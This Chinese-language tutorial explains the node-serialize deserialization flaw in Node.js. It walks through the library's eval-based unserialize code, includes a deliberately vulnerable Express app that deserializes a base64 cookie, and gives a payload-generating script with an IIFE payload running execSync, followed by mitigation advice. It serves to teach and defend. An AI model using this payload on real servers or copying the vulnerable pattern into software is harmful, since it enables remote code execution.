源码层面详解Node.js反序列化漏洞原理与利用
字数 1100 2025-12-06 12:06:04
Node.js反序列化漏洞原理与利用详解
漏洞概述
Node.js反序列化漏洞是一种严重的安全漏洞,其核心问题在于程序错误地将本应作为"数据"处理的字符串,错误地当作"代码"执行。这种漏洞主要出现在使用node-serialize库的应用中。
漏洞原理分析
正常序列化/反序列化流程
在正常业务场景中,服务器需要将函数对象转换为字符串进行存储或传输:
{
"sayHi": "_
$$
ND_FUNC
$$
_function() { console.log('Hello'); }"
}
漏洞核心机制
标记定义
在node-serialize库源码中定义了关键标识符:
var FUNCFLAG = '_
$$
ND_FUNC
$$
_';
序列化过程(exports.serialize)
当遇到函数属性时,库执行以下操作:
} else if(typeof obj[key] === 'function') {
var funcStr = obj[key].toString();
// 检查是否为原生函数
if(ISNATIVEFUNC.test(funcStr)) {
// 处理逻辑...
}
// 关键步骤:添加前缀标记
outputObj[key] = FUNCFLAG + funcStr;
}
反序列化过程(exports.unserialize)
漏洞产生的关键代码:
if(obj[key].indexOf(FUNCFLAG) === 0) {
obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
}
漏洞触发原理
攻击者通过构造特殊的序列化字符串,利用IIFE(立即调用函数表达式)机制实现代码执行:
恶意Payload示例:
{
"rce": "_
$$
ND_FUNC
$$
_function() { require('child_process').execSync('calc'); }()"
}
执行流程分析:
- 移除前缀:
obj[key].substring(FUNCFLAG.length)→function(){...}() - 添加括号:
eval('(' + 'function(){...}()' + ')') - 执行结果:
(function(){require('child_process').execSync('calc');}())
由于末尾的(),eval执行的不再是函数定义,而是立即执行的函数调用。
漏洞利用实战
环境搭建
npm init -y
npm install node-serialize express cookie-parser
漏洞代码示例
const express = require('express');
const cookieParser = require('cookie-parser');
const serialize = require('node-serialize');
const app = express();
app.use(cookieParser());
app.get('/', (req, res) => {
if (req.cookies.profile) {
try {
// 漏洞点:直接反序列化用户控制的Cookie
var str = Buffer.from(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str); // 🚨 漏洞触发点
if (obj.username) {
res.send("欢迎回来, " + obj.username);
}
} catch (e) {
res.send("反序列化出错: " + e.message);
}
} else {
// 设置正常Cookie
var defaultObj = { username: "Guest", country: "CN" };
var base64Str = Buffer.from(JSON.stringify(defaultObj)).toString('base64');
res.cookie('profile', base64Str);
res.send("Cookie已设置");
}
});
app.listen(3000);
攻击Payload生成
var serialize = require('node-serialize');
// 构造恶意对象
var y = {
rce: function(){ require('child_process').execSync('calc'); }
};
// 序列化并修改Payload
var str = serialize.serialize(y);
var payload = str.replace('}"', '}()"'); // 关键修改
console.log("攻击Payload:");
console.log(payload);
// Base64编码结果
var base64Payload = Buffer.from(payload).toString('base64');
console.log("Base64编码后的Payload:");
console.log(base64Payload);
攻击步骤
- 运行攻击脚本生成Payload
- 将生成的Base64字符串作为Cookie中
profile的值 - 访问存在漏洞的页面
- 系统命令将被执行(如弹出计算器)
技术细节深度分析
eval函数的特殊处理
为什么需要添加括号?
- 直接执行
eval("function(){}")会被解析为函数声明 - 使用
(function(){})将其转换为函数表达式 - 这样才能正确返回函数对象
漏洞限制与绕过
- 函数类型限制:库会检查是否为原生函数
- 编码要求:Payload需要Base64编码
- 上下文限制:执行环境受到Node.js模块系统的限制
防护措施
安全开发建议
- 避免使用不安全的反序列化库
- 使用JSON.parse替代:如果不需要函数序列化功能
- 输入验证:对反序列化的数据进行严格验证
- 沙箱环境:在隔离环境中执行反序列化操作
代码修复方案
// 安全的替代方案
function safeUnserialize(str) {
const obj = JSON.parse(str);
// 不处理函数反序列化
return obj;
}
总结
Node.js反序列化漏洞的根源在于node-serialize库过度信任用户输入,直接通过eval执行函数字符串。通过理解漏洞原理和利用技术,开发人员可以更好地防范此类安全问题,提高应用程序的安全性。